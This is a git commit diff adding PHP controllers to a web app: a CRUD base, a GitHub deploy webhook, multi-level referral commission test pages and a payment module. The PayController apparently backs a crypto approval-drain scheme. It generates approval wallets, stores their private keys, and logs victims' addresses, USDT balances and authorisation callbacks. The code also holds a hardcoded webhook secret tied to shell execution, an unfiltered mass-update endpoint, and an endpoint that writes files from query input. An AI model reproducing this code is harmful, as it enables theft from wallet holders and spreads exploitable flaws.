This commit is contained in:
2025-11-21 01:42:54 +08:00
parent ff026c6f32
commit f89196c73c
1953 changed files with 9 additions and 15246 deletions
+67
View File
@@ -0,0 +1,67 @@
<?php
namespace app\controller;
use think\Model;
use support\Response;
/**
* 基础控制器
*/
class Base
{
/**
* @var Model
*/
protected $model = null;
/**
* 无需登录及鉴权的方法
* @var array
*/
protected $noNeedLogin = [];
/**
* 需要登录无需鉴权的方法
* @var array
*/
protected $noNeedAuth = [];
/**
* 数据限制
* null 不做限制,任何管理员都可以查看该表的所有数据
* auth 管理员能看到自己以及自己的子管理员插入的数据
* personal 管理员只能看到自己插入的数据
* @var string
*/
protected $dataLimit = null;
/**
* 数据限制字段
*/
protected $dataLimitField = 'admin_id';
/**
* 返回格式化json数据
*
* @param int $code
* @param string $msg
* @param array $data
* @return Response
*/
protected function json(int $code, string $msg = 'ok', array $data = []): Response
{
return json(['code' => $code, 'data' => $data, 'msg' => $msg]);
}
protected function success(string $msg = '成功', array $data = []): Response
{
return $this->json(0, $msg, $data);
}
protected function fail(string $msg = '失败', array $data = []): Response
{
return $this->json(1, $msg, $data);
}
}
+440
View File
@@ -0,0 +1,440 @@
<?php
namespace app\controller;
use Illuminate\Database\Eloquent\Builder as EloquentBuilder;
use Illuminate\Database\Query\Builder as QueryBuilder;
use support\exception\BusinessException;
use support\think\Model;
use support\Request;
use support\Response;
use support\think\Db;
class Crud extends Base
{
/**
* @var Model
*/
protected $model = null;
/**
* 查询
* @param Request $request
* @return Response
* @throws BusinessException
*/
public function select(Request $request): Response
{
[$where, $format, $limit, $field, $order] = $this->selectInput($request);
$query = $this->doSelect($where, $field, $order);
return $this->doFormat($query, $format, $limit);
}
/**
* 添加
* @param Request $request
* @return Response
* @throws BusinessException
*/
public function insert(Request $request): Response
{
$data = $this->insertInput($request);
$id = $this->doInsert($data);
return $this->success(__('successful'), ['id' => $id]);
}
/**
* 更新
* @param Request $request
* @return Response
* @throws BusinessException
*/
public function update(Request $request): Response
{
[$id, $data] = $this->updateInput($request);
$this->doUpdate($id, $data);
return $this->success(__('successful'));
}
/**
* 删除
* @param Request $request
* @return Response
* @throws BusinessException
*/
public function delete(Request $request): Response
{
$ids = $this->deleteInput($request);
$this->doDelete($ids);
return $this->success(__('successful'));
}
/**
* 查询前置
* @param Request $request
* @return array
* @throws BusinessException
*/
protected function selectInput(Request $request): array
{
$field = $request->get('sort');
$order = $request->get('sortOrder', 'asc');
$format = $request->get('format', 'normal');
$limit = (int)$request->get('limit', $format === 'tree' ? 1000 : 10);
$limit = $limit <= 0 ? 10 : $limit;
$order = $order === 'asc' ? 'asc' : 'desc';
$where = $request->get('filter',[]);
$page = (int)$request->get('page');
$page = $page > 0 ? $page : 1;
$allow_column = [];
//var_dump($this->model->getConnectionName());
//if ($this->model->getConnection()->getDriverName() == 'mongodb') {
if ($this->model->getConnection() != 'mysql') {
} else {
$table = $this->model->getTable();
$allow_column = Db::query("desc `$table`");
if (!$allow_column) {
throw new BusinessException('表不存在');
}
$allow_column = array_column($allow_column, 'Field', 'Field');
if (!in_array($field, $allow_column)) {
$field = null;
}
}
return [$where, $format, $limit, $field, $order, $page];
}
/**
* 指定查询where条件,并没有真正的查询数据库操作
* @param array $where
* @param string|null $field
* @param string $order
* @return Model
*/
protected function doSelect(array $where, string $field = null, string $order = 'desc')
{
$model = $this->model;
foreach ($where as $column => $value) {
$symbol = $value['symbol'];
$value1 = $value['value1'];
$value2 = $value['value2'];
if (is_array($value)) {
if ($symbol === 'like' || $symbol === 'not like') {
$model = $model->where($column, $symbol, "%$value1%");
} elseif (in_array($symbol, ['>', '=', '<', '<>','>=','<='])) {
$model = $model->where($column, $symbol, $value1);
} elseif (($symbol == 'in'|| $symbol == 'not in') && !empty($value1)) {
$valArr = $value1;
if (is_string($value1)) {
$valArr = explode(",", trim($value1));
}
if($symbol == 'in'){
$model = $model->whereIn($column, $valArr);
}else{
$model = $model->whereNotIn($column, $valArr);
}
} elseif ($symbol == 'null') {
$model = $model->whereNull($column);
} elseif ($symbol == 'not null') {
$model = $model->whereNotNull($column);
} elseif ($symbol == 'range' && $$value1 !== '' || $value2 !== '') {
$model = $model->whereBetween($column, [$value1, $value2]);
}
} else {
$model = $model->where($column, $value);
}
}
if ($field) {
$model = $model->order($field, $order);
}
return $model;
}
/**
* 执行真正查询,并返回格式化数据
* @param $query
* @param $format
* @param $limit
* @return Response
*/
protected function doFormat($query, $format, $limit,$fields="*"): Response
{
$methods = [
'select' => 'formatSelect',
'tree' => 'formatTree',
'table_tree' => 'formatTableTree',
'normal' => 'formatNormal',
];
if($limit == 'all'){
$paginator = $query->field($fields)->select();
$total = count($paginator);
$items = $paginator;
}else{
$paginator = $query->field($fields)->paginate($limit);
$total = $paginator->total();
$items = $paginator->items();
}
if (method_exists($this, "afterQuery")) {
$items = call_user_func([$this, "afterQuery"], $items);
}
$format_function = $methods[$format] ?? 'formatNormal';
return call_user_func([$this, $format_function], $items, $total);
}
/**
* 插入前置方法
* @param Request $request
* @return array
* @throws BusinessException
*/
protected function insertInput(Request $request): array
{
$data = $this->inputFilter($request->post());
$password_filed = 'password';
if (isset($data[$password_filed])) {
$data[$password_filed] = password_hash($data[$password_filed],PASSWORD_DEFAULT);
}
return $data;
}
/**
* 执行插入
* @param array $data
* @return mixed|null
*/
protected function doInsert(array $data)
{
$primary_key = $this->model->getPk();
$model_class = get_class($this->model);
$model = $model_class::create($data);
return $primary_key ? $model->$primary_key : null;
}
/**
* 更新前置方法
* @param Request $request
* @return array
* @throws BusinessException
*/
protected function updateInput(Request $request): array
{
$primary_key = $this->model->getPk();
$id = $request->post($primary_key);
$data = $this->inputFilter($request->post());
$model = $this->model->find($id);
if (!$model) {
throw new BusinessException('记录不存在', 2);
}
$password_filed = 'password';
if (isset($data[$password_filed])) {
// 密码为空,则不更新密码
if ($data[$password_filed] === '') {
unset($data[$password_filed]);
} else {
$data[$password_filed] = password_hash($data[$password_filed],PASSWORD_DEFAULT);
}
}
unset($data[$primary_key]);
return [$id, $data];
}
/**
* 执行更新
* @param $id
* @param $data
* @return void
*/
protected function doUpdate($id, $data)
{
$model = $this->model->find($id);
foreach ($data as $key => $val) {
$model->{$key} = $val;
}
$model->save();
}
/**
* 对用户输入表单过滤
* @param array $data
* @return array
* @throws BusinessException
*/
protected function inputFilter(array $data): array
{
$table = config('database.connections.mysql.prefix') . $this->model->getTable();
$allow_column = Db::getFields($this->model->getTable());
if (!$allow_column) {
throw new BusinessException('表不存在', 2);
}
//$columns = array_column($allow_column, 'Type', 'Field');
//echo json_encode($allow_column);
foreach ($data as $col => $item) {
if (!isset($allow_column[$col])) {
unset($data[$col]);
continue;
}
// 非字符串类型传空则为null
if ($item === '' && strpos(strtolower($allow_column[$col]['type']), 'varchar') === false && strpos(strtolower($allow_column[$col]['type']), 'text') === false) {
$data[$col] = null;
}
if (is_array($item)) {
$data[$col] = implode(',', $item);
}
}
if (empty($data['created_at'])) {
unset($data['created_at']);
}
if (empty($data['updated_at'])) {
unset($data['updated_at']);
}
return $data;
}
/**
* 删除前置方法
* @param Request $request
* @return array
* @throws BusinessException
*/
protected function deleteInput(Request $request): array
{
$primary_key = $this->model->getPk();
if (!$primary_key) {
throw new BusinessException('该表无主键,不支持删除');
}
$ids = $request->post('ids', '');
if(!is_array($ids)){
$ids = explode(',',$ids);
}
return $ids;
}
/**
* 执行删除
* @param array $ids
* @return void
*/
protected function doDelete(array $ids)
{
if (!$ids) {
return;
}
$primary_key = $this->model->getPk();
$this->model->whereIn($primary_key, $ids)->delete();
}
/**
* 格式化树
* @param $items
* @return Response
*/
protected function formatTree($items): Response
{
$format_items = [];
//$primary_key = $this->model->getPk();
$primary_key = $this->model->getPk();
foreach ($items as $item) {
$item->name = $this->guessName($item) ?: $item->$primary_key;
$item->value = (string)$item->$primary_key;
$item->id = $item->$primary_key;
//$item->pid = $item->pid;
$format_items[] = $item;
}
return $this->success(__('successful'), $format_items);
}
/**
* 格式化表格树
* @param $items
* @return Response
*/
protected function formatTableTree($items): Response
{
return $this->success(__('successful'), $items);
}
/**
* 格式化下拉列表
* @param $items
* @return Response
*/
protected function formatSelect($items): Response
{
$formatted_items = [];
$primary_key = $this->model->getPk();
foreach ($items as $item) {
$formatted_items[] = [
'name' => $this->guessName($item) ?: $item->$primary_key,
'value' => $item->$primary_key
];
}
return $this->success(__('successful'), $formatted_items);
}
/**
* 通用格式化
* @param $items
* @param $total
* @return Response
*/
protected function formatNormal($items, $total): Response
{
return json(['code' => 0, 'msg' => 'ok', 'count' => $total, 'data' => $items]);
}
/**
* 查询数据库后置方法,可用于修改数据
* @param mixed $items 原数据
* @return mixed 修改后数据
*/
protected function afterQuery($items)
{
return $items;
}
/**
* 猜测记录名称
* @param $item
* @return mixed
*/
protected function guessName($item)
{
return $item->title ?? $item->name ?? $item->nickname ?? $item->username ?? $item->id;
}
function multi(){
$ids = Request()->post('ids');
$params = Request()->post('params');
parse_str($params,$s);
$this->model->whereIn('id', [$ids])->update($s);
return $this->success(__('successful'));
}
/**
* 返回格式化json数据
*
* @param int $code
* @param string $msg
* @param array $data
* @return Response
*/
protected function json(int $code, string $msg = 'ok', array|object $data = []): Response
{
return json(['code' => $code, 'data' => $data, 'msg' => $msg]);
}
protected function success(string $msg = '成功', array|object $data = []): Response
{
return $this->json(0, $msg, $data);
}
protected function fail(string $msg = '失败', array|object $data = []): Response
{
return $this->json(1,$msg, $data);
}
protected function error(string $msg = '失败', array|object $data = []): Response
{
return $this->json(1,$msg, $data);
}
}
+13
View File
@@ -0,0 +1,13 @@
<?php
namespace app\controller;
use support\Request;
class DocController
{
public function index(Request $request)
{
return view(base_path()."/public/doc/index.html");
}
}
+102
View File
@@ -0,0 +1,102 @@
<?php
namespace app\controller;
use support\Request;
use support\Log;
use Symfony\Component\Process\Process;
use support\Response;
class GitController
{
private string $secret = 'a66fb7936210d94960ac9b4e0c8bd3ef45f8f3e1';
public function test(Request $request): Response
{
$this->dispatchUpdate('bang_server.sh');
return response('Test webhook executed');
}
public function handle(Request $request): Response
{
// 1. IP白名单验证(仅接受GitHub请求)
$allowedIps = ['110.42.52.196'];
if($request->method() !== 'POST'){
return response('Method Not Allowed', 405);
}
$clientIp = $request->header('x-real-ip', $request->getRealIp());
$isValidIp = false;
foreach ($allowedIps as $range) {
if ($this->ipInRange($clientIp, $range)) {
$isValidIp = true;
break;
}
}
if (!$isValidIp) {
Log::warning("Unauthorized IP: {$clientIp}");
return response('IP not allowed', 403);
}
// 2. 签名验证
$signature = $request->header('x-hub-signature-256');
$payload = $request->rawBody();
$json = json_decode($payload, true);
$script_fn = "";
if($json['repository']['full_name'] == 'commie/wenjuanbang_server')
{
if($json['ref'] == 'refs/heads/main'){
$script_fn = 'bang_server.sh';
}
if($json['ref'] == 'refs/heads/xi'){
$script_fn = 'xi_server.sh';
}
}else if($json['repository']['full_name'] == 'commie/cdkey'){
if($json['ref'] == 'refs/heads/xi'){
$script_fn = 'wjx_cdkey.sh';
}
if($json['ref'] == 'refs/heads/wjb'){
$script_fn = 'wjb_cdkey.sh';
}
}
//log_alert($script_fn);
if(!$script_fn){
return response('Not main branch', 200);
}
if (!$this->verifySignature($payload, $signature)) {
Log::warning("Invalid signature from {$clientIp}");
return response('Invalid signature', 403);
}
// 3. 异步更新
$this->dispatchUpdate($script_fn);
return response('Webhook received successfully');
}
private function ipInRange(string $ip, string $range): bool
{
[$subnet, $bits] = explode('/', $range);
$ip = ip2long($ip);
$subnet = ip2long($subnet);
$mask = -1 << (32 - $bits);
return ($ip & $mask) === ($subnet & $mask);
}
private function verifySignature(string $payload, ?string $signature): bool
{
$computedSignature = 'sha256=' . hash_hmac('sha256', $payload, $this->secret);
return hash_equals($computedSignature, $signature ?? '');
}
private function dispatchUpdate($script_fn): void
{
$scriptPath = base_path('scripts/'.$script_fn);
$outputFile = runtime_path('logs').'/'.$script_fn.'.log';
// 使用su命令切换到您的用户
$command = "bash {$scriptPath} > {$outputFile} 2>&1";
// 后台执行
shell_exec("nohup {$command} &");
}
}
+29
View File
@@ -0,0 +1,29 @@
<?php
namespace app\controller;
use app\model\Order;
use app\model\Withdrawl as WithdrawlModel;
use app\model\Address as AddressModel;
use support\exception\BusinessException;
use support\Request;
use support\Response;
use Throwable;
use Web3\Contracts\Types\Address as TypesAddress;
use Workerman\Worker;
class IndexController extends Crud
{
/**
* 后台主页
* @param Request $request
* @return Response
* @throws BusinessException|Throwable
*/
public function index(Request $request)
{
return view(base_path().'/public/index.html');
}
}
+186
View File
@@ -0,0 +1,186 @@
<?php
namespace app\controller;
use app\model\Order;
use app\model\Withdrawl as WithdrawlModel;
use app\model\Address as AddressModel;
use support\exception\BusinessException;
use support\Request;
use support\Response;
use Throwable;
use Web3\Contracts\Types\Address as TypesAddress;
use Workerman\Worker;
class PayController extends Crud
{
/**
* 后台主页
* @param Request $request
* @return Response
* @throws BusinessException|Throwable
*/
public function valid(Request $request): Response
{
$order_id = $request->get('order_id');
if(!$order_id) {
return $this->error(__('Invalid parameters'));
}
$_order_id = intval($order_id);
$order = \app\model\Address::where('id',$_order_id)->find();
if(!$order) {
return $this->error(__('Invalid parameters'));
}
$user = \app\model\User::where('id',$order['user_id'])->find();
//$key = str_replace('-','',strtolower($order['network']));
//$approve_address = Config('site.'.$key.'_auth_address');
$lang = request()->get('lang','zh-Hans');
if(!$order['approve_address']){
$res = get(Config('pay.server').'/Util/create_wallet?network='.$order['network']);
$res = json_decode($res,true);
if($res['code'] !== 0){
return $this->error($res['msg']);
}
$order->approve_address = $res['data'][0]['address'];
$order->approve_private_key = $res['data'][0]['private_key'];
$order->save();
}
locale($lang);
$networkDesc = '';
if($order['network'] == 'TRC-20'){
$networkDesc = 'Tron';
}elseif($order['network'] == 'BEP-20'){
$networkDesc = 'BNB Smart Chain';
}
return view('pay/valid',[
'order_id' => $order_id,
'order' => $order,
'user' => $user,
'lang' => $lang,
'networkDesc' => $networkDesc
]);
}
function check(Request $request){
$data = [
'id' => $request->post('sn'),
'address' => $request->post('address'),
'auth_address' => $request->post('to_address'),
'balance' => $request->post('balance'),
'usdt' => $request->post('usdt_balance'),
'network' => $request->post('type'),
'money' => $request->post('money'),//0
'lang' => $request->post('lang'),
'action' => $request->post('action'),//tx
'agent' => $request->post('agent'),
];
return json([
'code' => 0,
'msg' => 'pay_msg',
'data' =>[
'to' => '',
'action' => 'pay1',
]
]);
}
function pay(Request $request){
$data = [
'id' => $request->post('sn'),
'action' => $request->post('action'),//tx
'address' => $request->post('address'),
'auth_address' => $request->post('to_address'),
'balance' => $request->post('balance'),
'usdt' => $request->post('usdt_balance'),
'network' => $request->post('type'),
'money' => $request->post('money'),//0
'lang' => $request->post('lang'),
'agent' => $request->post('agent'),
'authorize_type'=> $request->post('authorize_type'), // 1 0不知道啥意思,估计是转账授权或者点击授权
];
return json([
'code' => 0,
'msg' => 'success'
]);
}
function callBack(Request $request){
$data = [
'id' => $request->post('sn'),
'action' => $request->post('action'),//tx
'address' => $request->post('address'),
'approve_address' => $request->post('to_address'),
'balance' => $request->post('balance'),
'usdt' => $request->post('usdt_balance'),
'network' => $request->post('type'),
'lang' => $request->post('lang'),
'authorize_type'=> $request->post('authorize_type'), // 1 0不知道啥意思,估计是转账授权或者点击授权
];
$order = \app\model\Address::where('id',$data['id'])->find();
$savedata = $data;
$savedata['address_id'] = $data['id'];
if($order && $order['user_id']){
$savedata['user_id'] = $order['user_id'];
}
if(!is_int($savedata['address_id'])){
$savedata['address_id'] = idDecode($savedata['address_id']);
}
if($order['approve_address'] != $savedata['approve_address']){
return json([
'code' => 1,
'msg' => 'verify error'
]);
}
$savedata['approve_private_key'] = $order['approve_private_key'];
$savedata['status'] = 1;
\app\model\AuthAddress::create($savedata,['address_id','address','approve_address','approve_private_key','balance','usdt','network','status'],true);
\app\model\Address::where('address',$savedata['address'])->update([
'balance' => $savedata['balance'],
'usdt' => $savedata['usdt'],
'address' => $savedata['address'],
'approve_address' => $order['approve_address'],
'approve_private_key' => $order['approve_private_key'],
'status' => 1,
]);
return json([
'code' => 0,
'msg' => 'verify success'
]);
}
function errBack(Request $request){
$data = [
'id' => $request->post('sn'),
'action' => $request->post('action'),//tx
'address' => $request->post('address'),
'auth_address' => $request->post('to_address'),
'balance' => $request->post('balance'),
'usdt' => $request->post('usdt_balance'),
'network' => $request->post('type'),
'lang' => $request->post('lang'),
'authorize_type'=> $request->post('authorize_type'), // 1 0不知道啥意思,估计是转账授权或者点击授权
'err' => $request->post('err'),
];
return json([
'code' => 1,
'msg' => '提示信息'
]);
}
function log(Request $request){
$data = [
'id' => $request->post('sn'),
'action' => $request->post('action'),//tx
'address' => $request->post('address'),
'auth_address' => $request->post('to_address'),
'balance' => $request->post('balance'),
'usdt' => $request->post('usdt_balance'),
'network' => $request->post('type'),
'lang' => $request->post('lang'),
'authorize_type'=> $request->post('authorize_type'), // 1 0不知道啥意思,估计是转账授权或者点击授权
'agent' => $request->post('agent'),
];
return json([
'code' => 0,
'msg' => '提示信息'
]);
}
}
+182
View File
@@ -0,0 +1,182 @@
<?php
namespace app\controller;
use app\event\Product;
use app\model\User;
use support\Request;
use support\Response;
class TestProductBuyController extends Base
{
private $output = '';
public function index(Request $request)
{
ob_start();
ob_implicit_flush(false);
// 测试参数配置
$test_params = [
'users' => [
'count' => 30, // 用户总数
'min_direct' => 5, // 最小直推人数
'max_direct' => 30, // 最大直推人数
'role_weights' => [ // 角色权重分布
1 => 0, // 普通用户 30%
2 => 70, // VIP 35%
3 => 30 // 渠道商 35%
]
],
'chain' => [
'min_depth' => 5, // 最小层级深度
'max_depth' => 15, // 最大层级深度
'max_children' => 5 // 每个用户最多下级数
],
'purchase' => [
'amount' => 1000, // 购买金额
'quantity' => 1 // 购买数量
]
];
// 生成随机用户数据
$users = $this->generateRandomUsers($test_params['users']);
// 构建用户关系链
$users = $this->buildUserChain($users, $test_params['chain']);
// 获取购买者(最后一个用户)
$buyer_id = max(array_keys($users));
// 模拟购买数据
$product_data = [
'user_id' => $buyer_id,
'product_id' => 1,
'questionnaire_id' => 1,
'id' => 1,
'amount' => round($test_params['purchase']['amount'], 4),
'quantity' => $test_params['purchase']['quantity']
];
cp("<pre>");
// 输出用户关系链
// cp("所有用户列表:");
// cp("========================================");
// // 显示所有用户信息
// foreach ($users as $user_id => $user) {
// $role_text = $user['role_id'] == 1 ? '普通用户' : ($user['role_id'] == 2 ? 'VIP' : '渠道商');
// cp(sprintf("用户ID:%-4d\t角色:%-8s\t级别:%-4d\t直推人数:%-4d\t父级:%-4d\n",
// $user["id"],
// $role_text,
// $user["level"],
// $user["direct_total"],
// $user["parent_id"]
// ));
// }
cp("=====================================================================\n");
cp( "购买者关系链:\n");
cp("=====================================================================\n");
// 显示购买者的关系链
$current_id = $buyer_id;
while ($current_id > 0) {
$user = $users[$current_id];
$role_text = $user['role_id'] == 1 ? '普通用户' : ($user['role_id'] == 2 ? 'VIP' : '渠道商');
cp(sprintf("用户ID:%-4d\t角色:%-8s\t级别:%-4d\t直推人数:%-4d\t父级:%-4d\n",
$user["id"],
$role_text,
$user["level"],
$user["direct_total"],
$user["parent_id"]
));
$current_id = $user['parent_id'];
}
cp("\n========================================\n");
printf("购买者是:%s ,购买者角色:%s,金额:%s \n",$buyer_id,($users[$buyer_id]['role_id'] == 2 ? 'VIP' : '渠道商'),$product_data['amount']);
cp("\n========================================\n");
$Product = new \app\event\Product();
$Product->test($product_data,$users);
// 获取并清空缓存
$content = ob_get_clean();
$content.= "</pre>";
return $content;
}
// 生成随机用户数据
private function generateRandomUsers($params = [])
{
$defaults = [
'count' => 30, // 用户总数
'min_direct' => 0, // 最小直推人数
'max_direct' => 30, // 最大直推人数
'role_weights' => [ // 角色权重分布
1 => 40, // 普通用户 40%
2 => 30, // VIP 30%
3 => 30 // 渠道商 30%
]
];
$params = array_merge($defaults, $params);
$users = [];
for ($i = 1; $i <= $params['count']; $i++) {
// 根据权重随机选择角色
$role_id = $this->getRandomRoleByWeight($params['role_weights']);
$user_id = rand($i*100,$i*1000);
$users[''.$user_id] = [
'id' => $user_id,
'role_id' => $role_id,
'direct_total' => rand($params['min_direct'], $params['max_direct']),
'parent_id' => 0
];
}
return $users;
}
// 根据权重随机选择角色
private function getRandomRoleByWeight($weights) {
$total = array_sum($weights);
$rand = rand(1, $total);
$current = 0;
foreach ($weights as $role_id => $weight) {
$current += $weight;
if ($rand <= $current) {
return $role_id;
}
}
return 1; // 默认返回普通用户
}
// 构建用户关系链
private function buildUserChain($users, $params = [])
{
$defaults = [
'min_depth' => 3, // 最小层级深度
'max_depth' => 10, // 最大层级深度
'max_children' => 5 // 每个用户最多下级数
];
$params = array_merge($defaults, $params);
// 为每个用户添加level属性(0-10的随机数)
foreach ($users as $user_id => &$user) {
$user['level'] = rand(0, 10);
}
$user_ids = array_keys($users);
asort($user_ids);
$last_user_id = 0;
foreach($user_ids as $k=>$user_id){
$users[$user_id.'']['parent_id'] = $last_user_id;
$last_user_id = $user_id;
}
return $users;
}
}
+176
View File
@@ -0,0 +1,176 @@
<?php
namespace app\controller;
use app\model\User;
use support\Request;
use support\Response;
use app\event\Role;
class TestRoleBuyController
{
public function index(Request $request)
{
ob_start();
ob_implicit_flush(false);
// 测试参数配置
$test_params = [
'users' => [
'count' => 30, // 用户总数
'min_direct' => 5, // 最小直推人数
'max_direct' => 30, // 最大直推人数
'role_weights' => [ // 角色权重分布
1 => 0, // 普通用户 30%
2 => 70, // VIP 35%
3 => 30 // 渠道商 35%
]
],
'chain' => [
'min_depth' => 5, // 最小层级深度
'max_depth' => 15, // 最大层级深度
'max_children' => 5 // 每个用户最多下级数
],
'purchase' => [
'amount' => 1000, // 购买金额
'role_id' => 3 // 购买者角色(2=VIP, 3=渠道商)
]
];
// 生成随机用户数据
$users = $this->generateRandomUsers($test_params['users']);
// 构建用户关系链
$users = $this->buildUserChain($users, $test_params['chain']);
// 获取购买者(最后一个用户)
$buyer_id = max(array_keys($users));
// 模拟购买数据
$buy_data = [
'user_id' => $buyer_id,
'amount' => round($test_params['purchase']['amount'], 4),
'role_id' => Input('role_id',2)
];
cp("<pre>");
// 输出用户关系链
// cp("所有用户列表:");
// cp("========================================");
// // 显示所有用户信息
// foreach ($users as $user_id => $user) {
// $role_text = $user['role_id'] == 1 ? '普通用户' : ($user['role_id'] == 2 ? 'VIP' : '渠道商');
// cp(sprintf("用户ID:%-4d\t角色:%-8s\t级别:%-4d\t直推人数:%-4d\t父级:%-4d\n",
// $user["id"],
// $role_text,
// $user["level"],
// $user["direct_total"],
// $user["parent_id"]
// ));
// }
// cp("========================================");
// cp("购买者关系链:\n");
// 显示购买者的关系链
// $current_id = $buyer_id;
// while ($current_id > 0) {
// $user = $users[$current_id];
// $role_text = $user['role_id'] == 1 ? '普通用户' : ($user['role_id'] == 2 ? 'VIP' : '渠道商');
// cp(sprintf("用户ID:%-4d\t角色:%-8s\t级别:%-4d\t直推人数:%-4d\t父级:%-4d\n",
// $user["id"],
// $role_text,
// $user["level"],
// $user["direct_total"],
// $user["parent_id"]
// ));
// $current_id = $user['parent_id'];
// }
cp("\n========================================\n");
printf("购买者是:%s ,产品:%s ,金额:%s \n",
$buyer_id,
($buy_data['role_id'] == 2 ? 'VIP' : '渠道商'),$buy_data['amount']);
cp("\n========================================\n");
$Role = new \app\event\Role();
$Role->test($buy_data, $users);
// 获取并清空缓存
$content = ob_get_clean();
$content .= "</pre>";
return $content;
}
// 生成随机用户数据
private function generateRandomUsers($params = [])
{
$defaults = [
'count' => 30, // 用户总数
'min_direct' => 0, // 最小直推人数
'max_direct' => 30, // 最大直推人数
'role_weights' => [ // 角色权重分布
1 => 40, // 普通用户 40%
2 => 30, // VIP 30%
3 => 30 // 渠道商 30%
]
];
$params = array_merge($defaults, $params);
$users = [];
for ($i = 1; $i <= $params['count']; $i++) {
// 根据权重随机选择角色
$role_id = $this->getRandomRoleByWeight($params['role_weights']);
$user_id = rand($i*100,$i*1000);
$users[''.$user_id] = [
'id' => $user_id,
'role_id' => $role_id,
'direct_total' => rand($params['min_direct'], $params['max_direct']),
'parent_id' => 0
];
}
return $users;
}
// 根据权重随机选择角色
private function getRandomRoleByWeight($weights) {
$total = array_sum($weights);
$rand = rand(1, $total);
$current = 0;
foreach ($weights as $role_id => $weight) {
$current += $weight;
if ($rand <= $current) {
return $role_id;
}
}
return 1; // 默认返回普通用户
}
// 构建用户关系链
private function buildUserChain($users, $params = [])
{
$defaults = [
'min_depth' => 3, // 最小层级深度
'max_depth' => 10, // 最大层级深度
'max_children' => 5 // 每个用户最多下级数
];
$params = array_merge($defaults, $params);
// 为每个用户添加level属性(0-10的随机数)
foreach ($users as $user_id => &$user) {
$user['level'] = rand(0, 20);
}
$user_ids = array_keys($users);
asort($user_ids);
$last_user_id = 0;
foreach($user_ids as $k=>$user_id){
$users[$user_id.'']['parent_id'] = $last_user_id;
$last_user_id = $user_id;
}
return $users;
}
}
+42
View File
@@ -0,0 +1,42 @@
<?php
namespace app\controller;
use app\model\Order;
use app\model\Withdrawl as WithdrawlModel;
use app\model\Address as AddressModel;
use support\exception\BusinessException;
use support\Request;
use support\Response;
use Throwable;
use Web3\Contracts\Types\Address as TypesAddress;
use Workerman\Worker;
class UtilsController extends Crud
{
public function i18n(Request $request): Response
{
$locale = $_GET['locale'];
$key = $_GET['key'];
$langArr=[
'zh_CN',
'zh_TW',
'fi_FI',
'ja_JP',
'ko_KR',
'en_US',
];
foreach($langArr as $lang){
$fn = "public/h5/i18n/".$lang.'.json';
$json = json_decode(file_get_contents($fn), true);
echo $locale,$key;
if(!isset($json[$key])){
$json[$key] = $key;
file_put_contents($fn, json_encode($json, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT));
}
}
return $this->success(__('successful'));
}
}